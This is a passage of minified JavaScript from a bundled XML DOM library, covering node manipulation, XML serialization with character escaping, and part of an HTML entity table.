error",3)),L=(S.WRONG_DOCUMENT_ERR=(M[4]="Wrong document",4),S.INVALID_CHARACTER_ERR=(M[5]="Invalid character",5),S.NO_DATA_ALLOWED_ERR=(M[6]="No data allowed",6),S.NO_MODIFICATION_ALLOWED_ERR=(M[7]="No modification allowed",7),S.NOT_FOUND_ERR=(M[8]="Not found",8)),C=(S.NOT_SUPPORTED_ERR=(M[9]="Not supported",9),S.INUSE_ATTRIBUTE_ERR=(M[10]="Attribute in use",10));function D(e,t){if(t instanceof Error)var i=t;else i=this,Error.call(this,M[e]),this.message=M[e],Error.captureStackTrace&&Error.captureStackTrace(this,D);return i.code=e,t&&(this.message=this.message+": "+t),i}function E(){}function P(e,t){this._node=e,this._refresh=t,A(this)}function A(e){var t=e._node._inc||e._node.ownerDocument._inc;if(e._inc!==t){var i=e._refresh(e._node);if(ve(e,"length",i.length),!e.$$length||i.length<e.$$length)for(var n=i.length;n in e;n++)Object.prototype.hasOwnProperty.call(e,n)&&delete e[n];u(i,e),e._inc=t}}function I(){}function O(e,t){for(var i=e.length;i--;)if(e[i]===t)return i}function Y(e,t,i,n){if(n?t[O(t,n)]=i:t[t.length++]=i,e){i.ownerElement=e;var r=e.ownerDocument;r&&(n&&B(r,e,n),function(e,t,i){e&&e._inc++,i.namespaceURI===s.XMLNS&&(t._nsMap[i.prefix?i.localName:""]=i.value)}(r,e,i))}}function $(e,t,i){var n=O(t,i);if(!(n>=0))throw new D(L,new Error(e.tagName+"@"+i));for(var r=t.length-1;n<r;)t[n]=t[++n];if(t.length=r,e){var s=e.ownerDocument;s&&(B(s,e,i),i.ownerElement=null)}}function j(){}function N(){}function R(e){return("<"==e?"&lt;":">"==e&&"&gt;")||"&"==e&&"&amp;"||'"'==e&&"&quot;"||"&#"+e.charCodeAt()+";"}function H(e,t){if(t(e))return!0;if(e=e.firstChild)do{if(H(e,t))return!0}while(e=e.nextSibling)}function F(){this.ownerDocument=this}function B(e,t,i,n){e&&e._inc++,i.namespaceURI===s.XMLNS&&delete t._nsMap[i.prefix?i.localName:""]}function U(e,t,i){if(e&&e._inc){e._inc++;var n=t.childNodes;if(i)n[n.length++]=i;else{for(var r=t.firstChild,s=0;r;)n[s++]=r,r=r.nextSibling;n.length=s,delete n[n.length]}}}function W(e,t){var i=t.previousSibling,n=t.nextSibling;return i?i.nextSibling=n:e.firstChild=n,n?n.previousSibling=i:e.lastChild=i,t.parentNode=null,t.previousSibling=null,t.nextSibling=null,U(e.ownerDocument,e),t}function z(e){return e&&e.nodeType===N.DOCUMENT_TYPE_NODE}function q(e){return e&&e.nodeType===N.ELEMENT_NODE}function V(e){return e&&e.nodeType===N.TEXT_NODE}function J(e,t){var i=e.childNodes||[];if(r(i,q)||z(t))return!1;var n=r(i,z);return!(t&&n&&i.indexOf(n)>i.indexOf(t))}function G(e,t){var i=e.childNodes||[];if(r(i,(function(e){return q(e)&&e!==t})))return!1;var n=r(i,z);return!(t&&n&&i.indexOf(n)>i.indexOf(t))}function K(e,t,i){var n=e.childNodes||[],s=t.childNodes||[];if(t.nodeType===N.DOCUMENT_FRAGMENT_NODE){var a=s.filter(q);if(a.length>1||r(s,V))throw new D(x,"More than one element or text in fragment");if(1===a.length&&!J(e,i))throw new D(x,"Element in fragment can not be inserted before doctype")}if(q(t)&&!J(e,i))throw new D(x,"Only one element can be added and only after doctype");if(z(t)){if(r(n,z))throw new D(x,"Only one doctype is allowed");var o=r(n,q);if(i&&n.indexOf(o)<n.indexOf(i))throw new D(x,"Doctype can only be inserted before an element");if(!i&&o)throw new D(x,"Doctype can not be appended since element is present")}}function X(e,t,i){var n=e.childNodes||[],s=t.childNodes||[];if(t.nodeType===N.DOCUMENT_FRAGMENT_NODE){var a=s.filter(q);if(a.length>1||r(s,V))throw new D(x,"More than one element or text in fragment");if(1===a.length&&!G(e,i))throw new D(x,"Element in fragment can not be inserted before doctype")}if(q(t)&&!G(e,i))throw new D(x,"Only one element can be added and only after doctype");if(z(t)){if(r(n,(function(e){return z(e)&&e!==i})))throw new D(x,"Only one doctype is allowed");var o=r(n,q);if(i&&n.indexOf(o)<n.indexOf(i))throw new D(x,"Doctype can only be inserted before an element")}}function Z(e,t,i,n){(function(e,t,i){if(!function(e){return e&&(e.nodeType===N.DOCUMENT_NODE||e.nodeType===N.DOCUMENT_FRAGMENT_NODE||e.nodeType===N.ELEMENT_NODE)}(e))throw new D(x,"Unexpected parent node type "+e.nodeType);if(i&&i.parentNode!==e)throw new D(L,"child not in parent");if(!function(e){return e&&(q(e)||V(e)||z(e)||e.nodeType===N.DOCUMENT_FRAGMENT_NODE||e.nodeType===N.COMMENT_NODE||e.nodeType===N.PROCESSING_INSTRUCTION_NODE)}(t)||z(t)&&e.nodeType!==N.DOCUMENT_NODE)throw new D(x,"Unexpected node type "+t.nodeType+" for parent node type "+e.nodeType)})(e,t,i),e.nodeType===N.DOCUMENT_NODE&&(n||K)(e,t,i);var r=t.parentNode;if(r&&r.removeChild(t),t.nodeType===T){var s=t.firstChild;if(null==s)return t;var a=t.lastChild}else s=a=t;var o=i?i.previousSibling:e.lastChild;s.previousSibling=o,a.nextSibling=i,o?o.nextSibling=s:e.firstChild=s,null==i?e.lastChild=a:i.previousSibling=a;do{s.parentNode=e}while(s!==a&&(s=s.nextSibling));return U(e.ownerDocument||e,e),t.nodeType==T&&(t.firstChild=t.lastChild=null),t}function Q(){this._nsMap={}}function ee(){}function te(){}function ie(){}function ne(){}function re(){}function se(){}function ae(){}function oe(){}function le(){}function ue(){}function ce(){}function de(){}function he(e,t){var i=[],n=9==this.nodeType&&this.documentElement||this,r=n.prefix,s=n.namespaceURI;if(s&&null==r&&null==(r=n.lookupPrefix(s)))var a=[{namespace:s,prefix:null}];return me(this,i,e,t,a),i.join("")}function pe(e,t,i){var n=e.prefix||"",r=e.namespaceURI;if(!r)return!1;if("xml"===n&&r===s.XML||r===s.XMLNS)return!1;for(var a=i.length;a--;){var o=i[a];if(o.prefix===n)return o.namespace!==r}return!0}function fe(e,t,i){e.push(" ",t,'="',i.replace(/[<>&"\t\n\r]/g,R),'"')}function me(e,t,i,n,r){if(r||(r=[]),n){if(!(e=n(e)))return;if("string"==typeof e)return void t.push(e)}switch(e.nodeType){case h:var a=e.attributes,o=a.length,l=e.firstChild,u=e.tagName,c=u;if(!(i=s.isHTML(e.namespaceURI)||i)&&!e.prefix&&e.namespaceURI){for(var d,_=0;_<a.length;_++)if("xmlns"===a.item(_).name){d=a.item(_).value;break}if(!d)for(var k=r.length-1;k>=0;k--)if(""===(S=r[k]).prefix&&S.namespace===e.namespaceURI){d=S.namespace;break}if(d!==e.namespaceURI)for(k=r.length-1;k>=0;k--){var S;if((S=r[k]).namespace===e.namespaceURI){S.prefix&&(c=S.prefix+":"+u);break}}}t.push("<",c);for(var M=0;M<o;M++)"xmlns"==(x=a.item(M)).prefix?r.push({prefix:x.localName,namespace:x.value}):"xmlns"==x.nodeName&&r.push({prefix:"",namespace:x.value});for(M=0;M<o;M++){var x,L,C;pe(x=a.item(M),0,r)&&(fe(t,(L=x.prefix||"")?"xmlns:"+L:"xmlns",C=x.namespaceURI),r.push({prefix:L,namespace:C})),me(x,t,i,n,r)}if(u===c&&pe(e,0,r)&&(fe(t,(L=e.prefix||"")?"xmlns:"+L:"xmlns",C=e.namespaceURI),r.push({prefix:L,namespace:C})),l||i&&!/^(?:meta|link|img|br|hr|input)$/i.test(u)){if(t.push(">"),i&&/^script$/i.test(u))for(;l;)l.data?t.push(l.data):me(l,t,i,n,r.slice()),l=l.nextSibling;else for(;l;)me(l,t,i,n,r.slice()),l=l.nextSibling;t.push("</",c,">")}else t.push("/>");return;case b:case T:for(l=e.firstChild;l;)me(l,t,i,n,r.slice()),l=l.nextSibling;return;case p:return fe(t,e.name,e.value);case f:return t.push(e.data.replace(/[<&>]/g,R));case m:return t.push("<![CDATA[",e.data,"]]>");case y:return t.push("\x3c!--",e.data,"--\x3e");case w:var D=e.publicId,E=e.systemId;if(t.push("<!DOCTYPE ",e.name),D)t.push(" PUBLIC ",D),E&&"."!=E&&t.push(" ",E),t.push(">");else if(E&&"."!=E)t.push(" SYSTEM ",E,">");else{var P=e.internalSubset;P&&t.push(" [",P,"]"),t.push(">")}return;case v:return t.push("<?",e.target," ",e.data,"?>");case g:return t.push("&",e.nodeName,";");default:t.push("??",e.nodeName)}}function ge(e,t,i){var n;switch(t.nodeType){case h:(n=t.cloneNode(!1)).ownerDocument=e;case T:break;case p:i=!0}if(n||(n=t.cloneNode(!1)),n.ownerDocument=e,n.parentNode=null,i)for(var r=t.firstChild;r;)n.appendChild(ge(e,r,i)),r=r.nextSibling;return n}function _e(e,t,i){var n=new t.constructor;for(var r in t)if(Object.prototype.hasOwnProperty.call(t,r)){var s=t[r];"object"!=typeof s&&s!=n[r]&&(n[r]=s)}switch(t.childNodes&&(n.childNodes=new E),n.ownerDocument=e,n.nodeType){case h:var a=t.attributes,o=n.attributes=new I,l=a.length;o._ownerElement=n;for(var u=0;u<l;u++)n.setAttributeNode(_e(e,a.item(u),!0));break;case p:i=!0}if(i)for(var c=t.firstChild;c;)n.appendChild(_e(e,c,i)),c=c.nextSibling;return n}function ve(e,t,i){e[t]=i}S.INVALID_STATE_ERR=(M[11]="Invalid state",11),S.SYNTAX_ERR=(M[12]="Syntax error",12),S.INVALID_MODIFICATION_ERR=(M[13]="Invalid modification",13),S.NAMESPACE_ERR=(M[14]="Invalid namespace",14),S.INVALID_ACCESS_ERR=(M[15]="Invalid access",15),D.prototype=Error.prototype,u(S,D),E.prototype={length:0,item:function(e){return e>=0&&e<this.length?this[e]:null},toString:function(e,t){for(var i=[],n=0;n<this.length;n++)me(this[n],i,e,t);return i.join("")},filter:function(e){return Array.prototype.filter.call(this,e)},indexOf:function(e){return Array.prototype.indexOf.call(this,e)}},P.prototype.item=function(e){return A(this),this[e]||null},c(P,E),I.prototype={length:0,item:E.prototype.item,getNamedItem:function(e){for(var t=this.length;t--;){var i=this[t];if(i.nodeName==e)return i}},setNamedItem:function(e){var t=e.ownerElement;if(t&&t!=this._ownerElement)throw new D(C);var i=this.getNamedItem(e.nodeName);return Y(this._ownerElement,this,e,i),i},setNamedItemNS:function(e){var t,i=e.ownerElement;if(i&&i!=this._ownerElement)throw new D(C);return t=this.getNamedItemNS(e.namespaceURI,e.localName),Y(this._ownerElement,this,e,t),t},removeNamedItem:function(e){var t=this.getNamedItem(e);return $(this._ownerElement,this,t),t},removeNamedItemNS:function(e,t){var i=this.getNamedItemNS(e,t);return $(this._ownerElement,this,i),i},getNamedItemNS:function(e,t){for(var i=this.length;i--;){var n=this[i];if(n.localName==t&&n.namespaceURI==e)return n}return null}},j.prototype={hasFeature:function(e,t){return!0},createDocument:function(e,t,i){var n=new F;if(n.implementation=this,n.childNodes=new E,n.doctype=i||null,i&&n.appendChild(i),t){var r=n.createElementNS(e,t);n.appendChild(r)}return n},createDocumentType:function(e,t,i){var n=new se;return n.name=e,n.nodeName=e,n.publicId=t||"",n.systemId=i||"",n}},N.prototype={firstChild:null,lastChild:null,previousSibling:null,nextSibling:null,attributes:null,parentNode:null,childNodes:null,ownerDocument:null,nodeValue:null,namespaceURI:null,prefix:null,localName:null,insertBefore:function(e,t){return Z(this,e,t)},replaceChild:function(e,t){Z(this,e,t,X),t&&this.removeChild(t)},removeChild:function(e){return W(this,e)},appendChild:function(e){return this.insertBefore(e,null)},hasChildNodes:function(){return null!=this.firstChild},cloneNode:function(e){return _e(this.ownerDocument||this,this,e)},normalize:function(){for(var e=this.firstChild;e;){var t=e.nextSibling;t&&t.nodeType==f&&e.nodeType==f?(this.removeChild(t),e.appendData(t.data)):(e.normalize(),e=t)}},isSupported:function(e,t){return this.ownerDocument.implementation.hasFeature(e,t)},hasAttributes:function(){return this.attributes.length>0},lookupPrefix:function(e){for(var t=this;t;){var i=t._nsMap;if(i)for(var n in i)if(Object.prototype.hasOwnProperty.call(i,n)&&i[n]===e)return n;t=t.nodeType==p?t.ownerDocument:t.parentNode}return null},lookupNamespaceURI:function(e){for(var t=this;t;){var i=t._nsMap;if(i&&Object.prototype.hasOwnProperty.call(i,e))return i[e];t=t.nodeType==p?t.ownerDocument:t.parentNode}return null},isDefaultNamespace:function(e){return null==this.lookupPrefix(e)}},u(d,N),u(d,N.prototype),F.prototype={nodeName:"#document",nodeType:b,doctype:null,documentElement:null,_inc:1,insertBefore:function(e,t){if(e.nodeType==T){for(var i=e.firstChild;i;){var n=i.nextSibling;this.insertBefore(i,t),i=n}return e}return Z(this,e,t),e.ownerDocument=this,null===this.documentElement&&e.nodeType===h&&(this.documentElement=e),e},removeChild:function(e){return this.documentElement==e&&(this.documentElement=null),W(this,e)},replaceChild:function(e,t){Z(this,e,t,X),e.ownerDocument=this,t&&this.removeChild(t),q(e)&&(this.documentElement=e)},importNode:function(e,t){return ge(this,e,t)},getElementById:function(e){var t=null;return H(this.documentElement,(function(i){if(i.nodeType==h&&i.getAttribute("id")==e)return t=i,!0})),t},getElementsByClassName:function(e){var t=l(e);return new P(this,(function(i){var n=[];return t.length>0&&H(i.documentElement,(function(r){if(r!==i&&r.nodeType===h){var s=r.getAttribute("class");if(s){var a=e===s;if(!a){var o=l(s);a=t.every((u=o,function(e){return u&&-1!==u.indexOf(e)}))}a&&n.push(r)}}var u})),n}))},createElement:function(e){var t=new Q;return t.ownerDocument=this,t.nodeName=e,t.tagName=e,t.localName=e,t.childNodes=new E,(t.attributes=new I)._ownerElement=t,t},createDocumentFragment:function(){var e=new ue;return e.ownerDocument=this,e.childNodes=new E,e},createTextNode:function(e){var t=new ie;return t.ownerDocument=this,t.appendData(e),t},createComment:function(e){var t=new ne;return t.ownerDocument=this,t.appendData(e),t},createCDATASection:function(e){var t=new re;return t.ownerDocument=this,t.appendData(e),t},createProcessingInstruction:function(e,t){var i=new ce;return i.ownerDocument=this,i.tagName=i.nodeName=i.target=e,i.nodeValue=i.data=t,i},createAttribute:function(e){var t=new ee;return t.ownerDocument=this,t.name=e,t.nodeName=e,t.localName=e,t.specified=!0,t},createEntityReference:function(e){var t=new le;return t.ownerDocument=this,t.nodeName=e,t},createElementNS:function(e,t){var i=new Q,n=t.split(":"),r=i.attributes=new I;return i.childNodes=new E,i.ownerDocument=this,i.nodeName=t,i.tagName=t,i.namespaceURI=e,2==n.length?(i.prefix=n[0],i.localName=n[1]):i.localName=t,r._ownerElement=i,i},createAttributeNS:function(e,t){var i=new ee,n=t.split(":");return i.ownerDocument=this,i.nodeName=t,i.name=t,i.namespaceURI=e,i.specified=!0,2==n.length?(i.prefix=n[0],i.localName=n[1]):i.localName=t,i}},c(F,N),Q.prototype={nodeType:h,hasAttribute:function(e){return null!=this.getAttributeNode(e)},getAttribute:function(e){var t=this.getAttributeNode(e);return t&&t.value||""},getAttributeNode:function(e){return this.attributes.getNamedItem(e)},setAttribute:function(e,t){var i=this.ownerDocument.createAttribute(e);i.value=i.nodeValue=""+t,this.setAttributeNode(i)},removeAttribute:function(e){var t=this.getAttributeNode(e);t&&this.removeAttributeNode(t)},appendChild:function(e){return e.nodeType===T?this.insertBefore(e,null):function(e,t){return t.parentNode&&t.parentNode.removeChild(t),t.parentNode=e,t.previousSibling=e.lastChild,t.nextSibling=null,t.previousSibling?t.previousSibling.nextSibling=t:e.firstChild=t,e.lastChild=t,U(e.ownerDocument,e,t),t}(this,e)},setAttributeNode:function(e){return this.attributes.setNamedItem(e)},setAttributeNodeNS:function(e){return this.attributes.setNamedItemNS(e)},removeAttributeNode:function(e){return this.attributes.removeNamedItem(e.nodeName)},removeAttributeNS:function(e,t){var i=this.getAttributeNodeNS(e,t);i&&this.removeAttributeNode(i)},hasAttributeNS:function(e,t){return null!=this.getAttributeNodeNS(e,t)},getAttributeNS:function(e,t){var i=this.getAttributeNodeNS(e,t);return i&&i.value||""},setAttributeNS:function(e,t,i){var n=this.ownerDocument.createAttributeNS(e,t);n.value=n.nodeValue=""+i,this.setAttributeNode(n)},getAttributeNodeNS:function(e,t){return this.attributes.getNamedItemNS(e,t)},getElementsByTagName:function(e){return new P(this,(function(t){var i=[];return H(t,(function(n){n===t||n.nodeType!=h||"*"!==e&&n.tagName!=e||i.push(n)})),i}))},getElementsByTagNameNS:function(e,t){return new P(this,(function(i){var n=[];return H(i,(function(r){r===i||r.nodeType!==h||"*"!==e&&r.namespaceURI!==e||"*"!==t&&r.localName!=t||n.push(r)})),n}))}},F.prototype.getElementsByTagName=Q.prototype.getElementsByTagName,F.prototype.getElementsByTagNameNS=Q.prototype.getElementsByTagNameNS,c(Q,N),ee.prototype.nodeType=p,c(ee,N),te.prototype={data:"",substringData:function(e,t){return this.data.substring(e,e+t)},appendData:function(e){e=this.data+e,this.nodeValue=this.data=e,this.length=e.length},insertData:function(e,t){this.replaceData(e,0,t)},appendChild:function(e){throw new Error(M[x])},deleteData:function(e,t){this.replaceData(e,t,"")},replaceData:function(e,t,i){i=this.data.substring(0,e)+i+this.data.substring(e+t),this.nodeValue=this.data=i,this.length=i.length}},c(te,N),ie.prototype={nodeName:"#text",nodeType:f,splitText:function(e){var t=this.data,i=t.substring(e);t=t.substring(0,e),this.data=this.nodeValue=t,this.length=t.length;var n=this.ownerDocument.createTextNode(i);return this.parentNode&&this.parentNode.insertBefore(n,this.nextSibling),n}},c(ie,te),ne.prototype={nodeName:"#comment",nodeType:y},c(ne,te),re.prototype={nodeName:"#cdata-section",nodeType:m},c(re,te),se.prototype.nodeType=w,c(se,N),ae.prototype.nodeType=k,c(ae,N),oe.prototype.nodeType=_,c(oe,N),le.prototype.nodeType=g,c(le,N),ue.prototype.nodeName="#document-fragment",ue.prototype.nodeType=T,c(ue,N),ce.prototype.nodeType=v,c(ce,N),de.prototype.serializeToString=function(e,t,i){return he.call(e,t,i)},N.prototype.toString=he;try{if(Object.defineProperty){function ye(e){switch(e.nodeType){case h:case T:var t=[];for(e=e.firstChild;e;)7!==e.nodeType&&8!==e.nodeType&&t.push(ye(e)),e=e.nextSibling;return t.join("");default:return e.nodeValue}}Object.defineProperty(P.prototype,"length",{get:function(){return A(this),this.$$length}}),Object.defineProperty(N.prototype,"textContent",{get:function(){return ye(this)},set:function(e){switch(this.nodeType){case h:case T:for(;this.firstChild;)this.removeChild(this.firstChild);(e||String(e))&&this.appendChild(this.ownerDocument.createTextNode(e));break;default:this.data=e,this.value=e,this.nodeValue=e}}}),ve=function(e,t,i){e["$$"+t]=i}}}catch(be){}t.DocumentType=se,t.DOMException=D,t.DOMImplementation=j,t.Element=Q,t.Node=N,t.NodeList=E,t.XMLSerializer=de},31045:(e,t,i)=>{"use strict";var n=i(72167).freeze;t.XML_ENTITIES=n({amp:"&",apos:"'",gt:">",lt:"<",quot:'"'}),t.HTML_ENTITIES=n({Aacute:"Á",aacute:"á",Abreve:"Ă",abreve:"ă",ac:"∾",acd:"∿",acE:"∾̳",Acirc:"Â",acirc:"â",acute:"´",Acy:"А",acy:"а",AElig:"Æ",aelig:"æ",af:"⁡",Afr:"𝔄",afr:"𝔞",Agrave:"À",agrave:"à",alefsym:"ℵ",aleph:"ℵ",Alpha:"Α",alpha:"α",Amacr:"Ā",amacr:"ā",amalg:"⨿",AMP:"&",amp:"&",And:"⩓",and:"∧",andand:"⩕",andd:"⩜",andslope:"⩘",andv:"⩚",ang:"∠",ange:"⦤",angle:"∠",angmsd:"∡",angmsdaa:"⦨",angmsdab:"⦩",angmsdac:"⦪",angmsdad:"⦫",angmsdae:"⦬",angmsdaf:"⦭",angmsdag:"⦮",angmsdah:"⦯",angrt:"∟",angrtvb:"⊾",angrtvbd:"⦝",angsph:"∢",angst:"Å",angzarr:"⍼",Aogon:"Ą",aogon:"ą",Aopf:"𝔸",aopf:"𝕒",ap:"≈",apacir:"⩯",apE:"⩰",ape:"≊",apid:"≋",apos:"'",ApplyFunction:"⁡",approx:"≈",approxeq:"≊",Aring:"Å",aring:"å",Ascr:"𝒜",ascr:"𝒶",Assign:"≔",ast:"*",asymp:"≈",asympeq:"≍",Atilde:"Ã",atilde:"ã",Auml:"Ä",auml:"ä",awconint:"∳",awint:"⨑",backcong:"≌",backepsilon:"϶",backprime:"‵",backsim:"∽",backsimeq:"⋍",Backslash:"∖",Barv:"⫧",barvee:"⊽",Barwed:"⌆",barwed:"⌅",barwedge:"⌅",bbrk:"⎵",bbrktbrk:"⎶",bcong:"≌",Bcy:"Б",bcy:"б",bdquo:"„",becaus:"∵",Because:"∵",because:"∵",bemptyv:"⦰",bepsi:"϶",bernou:"ℬ",Bernoullis:"ℬ",Beta:"Β",beta:"β",beth:"ℶ",between:"≬",Bfr:"𝔅",bfr:"𝔟",bigcap:"⋂",bigcirc:"◯",bigcup:"⋃",bigodot:"⨀",bigoplus:"⨁",bigotimes:"⨂",bigsqcup:"⨆",bigstar:"★",bigtriangledown:"▽",bigtriangleup:"△",biguplus:"⨄",bigvee:"⋁",bigwedge:"⋀",bkarow:"⤍",blacklozenge:"⧫",blacksquare:"▪",blacktriangle:"▴",blacktriangledown:"▾",blacktriangleleft:"◂",blacktriangleright:"▸",blank:"␣",blk12:"▒",blk14:"░",blk34:"▓",block:"█",bne:"=⃥",bnequiv:"≡⃥",bNot:"⫭",bnot:"⌐",Bopf:"𝔹",bopf:"𝕓",bot:"⊥",bottom:"⊥",bowtie:"⋈",boxbox:"⧉",boxDL:"╗",boxDl:"╖",boxdL:"╕",boxdl:"┐",boxDR:"╔",boxDr:"╓",boxdR:"╒",boxdr:"┌",boxH:"═",boxh:"─",boxHD:"╦",boxHd:"╤",boxhD:"╥",boxhd:"┬",boxHU:"╩",boxHu:"╧",boxhU:"╨",boxhu:"┴",boxminus:"⊟",boxplus:"⊞",boxtimes:"⊠",boxUL:"╝",boxUl:"╜",boxuL:"╛",boxul:"┘",boxUR:"╚",boxUr:"╙",boxuR:"╘",boxur:"└",boxV:"║",boxv:"│",boxVH:"╬",boxVh:"╫",boxvH:"╪",boxvh:"┼",boxVL:"╣",boxVl:"╢",boxvL:"╡",boxvl:"┤",boxVR:"╠",boxVr:"╟",boxvR:"╞",boxvr:"├",bprime:"‵",Breve:"˘",breve:"˘",brvbar:"¦",Bscr:"ℬ",bscr:"𝒷",bsemi:"⁏",bsim:"∽",bsime:"⋍",bsol:"\\",bsolb:"⧅",bsolhsub:"⟈",bull:"•",bullet:"•",bump:"≎",bumpE:"⪮",bumpe:"≏",Bumpeq:"≎",bumpeq:"≏",Cacute:"Ć",cacute:"ć",Cap:"⋒",cap:"∩",capand:"⩄",capbrcup:"⩉",capcap:"⩋",capcup:"⩇",capdot:"⩀",CapitalDifferentialD:"ⅅ",caps:"∩︀",caret:"⁁",caron:"ˇ",Cayleys:"ℭ",ccaps:"⩍",Ccaron:"Č",ccaron:"č",Ccedil:"Ç",ccedil:"ç",Ccirc:"Ĉ",ccirc:"ĉ",Cconint:"∰",ccups:"⩌",ccupssm:"⩐",Cdot:"Ċ",cdot:"ċ",cedil:"¸",Cedilla:"¸",cemptyv:"⦲",cent:"¢",CenterDot:"·",centerdot:"·",Cfr:"ℭ",cfr:"𝔠",CHcy:"Ч",chcy:"ч",check:"✓",checkmark:"✓",Chi:"Χ",chi:"χ",cir:"○",circ:"ˆ",circeq:"≗",circlearrowleft:"↺",circlearrowright:"↻",circledast:"⊛",circledcirc:"⊚",circleddash:"⊝",CircleDot:"⊙",circledR:"®",circledS:"Ⓢ",CircleMinus:"⊖",CirclePlus:"⊕",CircleTimes:"⊗",cirE:"⧃",cire:"≗",cirfnint:"⨐",cirmid:"⫯",cirscir:"⧂",ClockwiseContourIntegral:"∲",CloseCurlyDoubleQuote:"”",CloseCurlyQuote:"’",clubs:"♣",clubsuit:"♣",Colon:"∷",colon:":",Colone:"⩴",colone:"≔",coloneq:"≔",comma:",",commat:"@",comp:"∁",compfn:"∘",complement:"∁",complexes:"ℂ",cong:"≅",congdot:"⩭",Congruent:"≡",Conint:"∯",conint:"∮",ContourIntegral:"∮",Copf:"ℂ",copf:"𝕔",coprod:"∐",Coproduct:"∐",COPY:"©",copy:"©",copysr:"℗",CounterClockwiseContourIntegral:"∳",crarr:"↵",Cross:"⨯",cross:"✗",Cscr:"𝒞",cscr:"𝒸",csub:"⫏",csube:"⫑",csup:"⫐",csupe:"⫒",ctdot:"⋯",cudarrl:"⤸",cudarrr:"⤵",cuepr:"⋞",cuesc:"⋟",cularr:"↶",cularrp:"⤽",Cup:"⋓",cup:"∪",cupbrcap:"⩈",CupCap:"≍",cupcap:"⩆",cupcup:"⩊",cupdot:"⊍",cupor:"⩅",cups:"∪︀",curarr:"↷",curarrm:"⤼",curlyeqprec:"⋞",curlyeqsucc:"⋟",curlyvee:"⋎",curlywedge:"⋏",curren:"¤",curvearrowleft:"↶",curvearrowright:"↷",cuvee:"⋎",cuwed:"⋏",cwconint:"∲",cwint:"∱",cylcty:"⌭",Dagger:"‡",dagger:"†",daleth:"ℸ",Darr:"↡",dArr:"⇓",darr:"↓",dash:"‐",Dashv:"⫤",dashv:"⊣",dbkarow:"⤏",dblac:"˝",Dcaron:"Ď",dcaron:"ď",Dcy:"Д",dcy:"д",DD:"ⅅ",dd:"ⅆ",ddagger:"‡",ddarr:"⇊",DDotrahd:"⤑",ddotseq:"⩷",deg:"°",Del:"∇",Delta:"Δ",delta:"δ",demptyv:"⦱",dfisht:"⥿",Dfr:"𝔇",dfr:"𝔡",dHar:"⥥",dharl:"⇃",dharr:"⇂",DiacriticalAcute:"´",DiacriticalDot:"˙",DiacriticalDoubleAcute:"˝",DiacriticalGrave:"`",DiacriticalTilde:"˜",diam:"⋄",Diamond:"⋄",diamond:"⋄",diamondsuit:"♦",diams:"♦",die:"¨",DifferentialD:"ⅆ",digamma:"ϝ",disin:"⋲",div:"÷",divide:"÷",divideontimes:"⋇",divonx:"⋇",DJcy:"Ђ",djcy:"ђ",dlcorn:"⌞",dlcrop:"⌍",dollar:"$",Dopf:"𝔻",dopf:"𝕕",Dot:"¨",dot:"˙",DotDot:"⃜",doteq:"≐",doteqdot:"≑",DotEqual:"≐",dotminus:"∸",dotplus:"∔",dotsquare:"⊡",doublebarwedge:"⌆",DoubleContourIntegral:"∯",DoubleDot:"¨",DoubleDownArrow:"⇓",DoubleLeftArrow:"⇐",DoubleLeftRightArrow:"⇔",DoubleLeftTee:"⫤",DoubleLongLeftArrow:"⟸",DoubleLongLeftRightArrow:"⟺",DoubleLongRightArrow:"⟹",DoubleRightArrow:"⇒",DoubleRightTee:"⊨",DoubleUpArrow:"⇑",DoubleUpDownArrow:"⇕",DoubleVerticalBar:"∥",DownArrow:"↓",Downarrow:"⇓",downarrow:"↓",DownArrowBar:"⤓",DownArrowUpArrow:"⇵",DownBreve:"̑",downdownarrows:"⇊",downharpoonleft:"⇃",downharpoonright:"⇂",DownLeftRightVector:"⥐",DownLeftTeeVector:"⥞",DownLeftVector:"↽",DownLeftVectorBar:"⥖",DownRightTeeVector:"⥟",DownRightVector:"⇁",DownRightVectorBar:"⥗",DownTee:"⊤",DownTeeArrow:"↧",drbkarow:"⤐",drcorn:"⌟",drcrop:"⌌",Dscr:"𝒟",dscr:"𝒹",DScy:"Ѕ",dscy:"ѕ",dsol:"⧶",Dstrok:"Đ",dstrok:"đ",dtdot:"⋱",dtri:"▿",dtrif:"▾",duarr:"⇵",duhar:"⥯",dwangle:"⦦",DZcy:"Џ",dzcy:"џ",dzigrarr:"⟿",Eacute:"É",eacute:"é",easter:"⩮",Ecaron:"Ě",ecaron:"ě",ecir:"≖",Ecirc:"Ê",ecirc:"ê",ecolon:"≕",Ecy:"Э",ecy:"э",eDDot:"⩷",Edot:"Ė",eDot:"≑",edot:"ė",ee:"ⅇ",efDot:"≒",Efr:"𝔈",efr:"𝔢",eg:"⪚",Egrave:"È",egrave:"è",egs:"⪖",egsdot:"⪘",el:"⪙",Element:"∈",elinters:"⏧",ell:"ℓ",els:"⪕",elsdot:"⪗",Emacr:"Ē",emacr:"ē",empty:"∅",emptyset:"∅",EmptySmallSquare:"◻",emptyv:"∅",EmptyVerySmallSquare:"▫",emsp:" ",emsp13:" ",emsp14:" ",ENG:"Ŋ",eng:"ŋ",ensp:" ",Eogon:"Ę",eogon:"ę",Eopf:"𝔼",eopf:"𝕖",epar:"⋕",eparsl:"⧣",eplus:"⩱",epsi:"ε",Epsilon:"Ε",epsilon:"ε",epsiv:"ϵ",eqcirc:"≖",eqcolon:"≕",eqsim:"≂",eqslantgtr:"⪖",eqslantless:"⪕",Equal:"⩵",equals:"=",EqualTilde:"≂",equest:"≟",Equilibrium:"⇌",equiv:"≡",equivDD:"⩸",eqvparsl:"⧥",erarr:"⥱",erDot:"≓",Escr:"ℰ",escr:"ℯ",esdot:"≐",Esim:"⩳",esim:"≂",Eta:"Η",eta:"η",ETH:"Ð",eth:"ð",Euml:"Ë",euml:"ë",euro:"€",excl:"!",exist:"∃",Exists:"∃",expectation:"ℰ",ExponentialE:"ⅇ",exponentiale:"ⅇ",fallingdotseq:"≒",Fcy:"Ф",fcy:"ф",female:"♀",ffilig:"ffi",fflig:"ff",ffllig:"ffl",Ffr:"𝔉",ffr:"𝔣",filig:"fi",FilledSmallSquare:"◼",FilledVerySmallSquare:"▪",fjlig:"fj",flat:"♭",fllig:"fl",fltns:"▱",fnof:"ƒ",Fopf:"𝔽",fopf:"𝕗",ForAll:"∀",forall:"∀",fork:"⋔",forkv:"⫙",Fouriertrf:"ℱ",fpartint:"⨍",frac12:"½",frac13:"⅓",frac14:"¼",frac15:"⅕",frac16:"⅙",frac18:"⅛",frac23:"⅔",frac25:"⅖",frac34:"¾",frac35:"⅗",frac38:"⅜",frac45:"⅘",frac56:"⅚",frac58:"⅝",frac78:"⅞",frasl:"⁄",frown:"⌢",Fscr:"ℱ",fscr: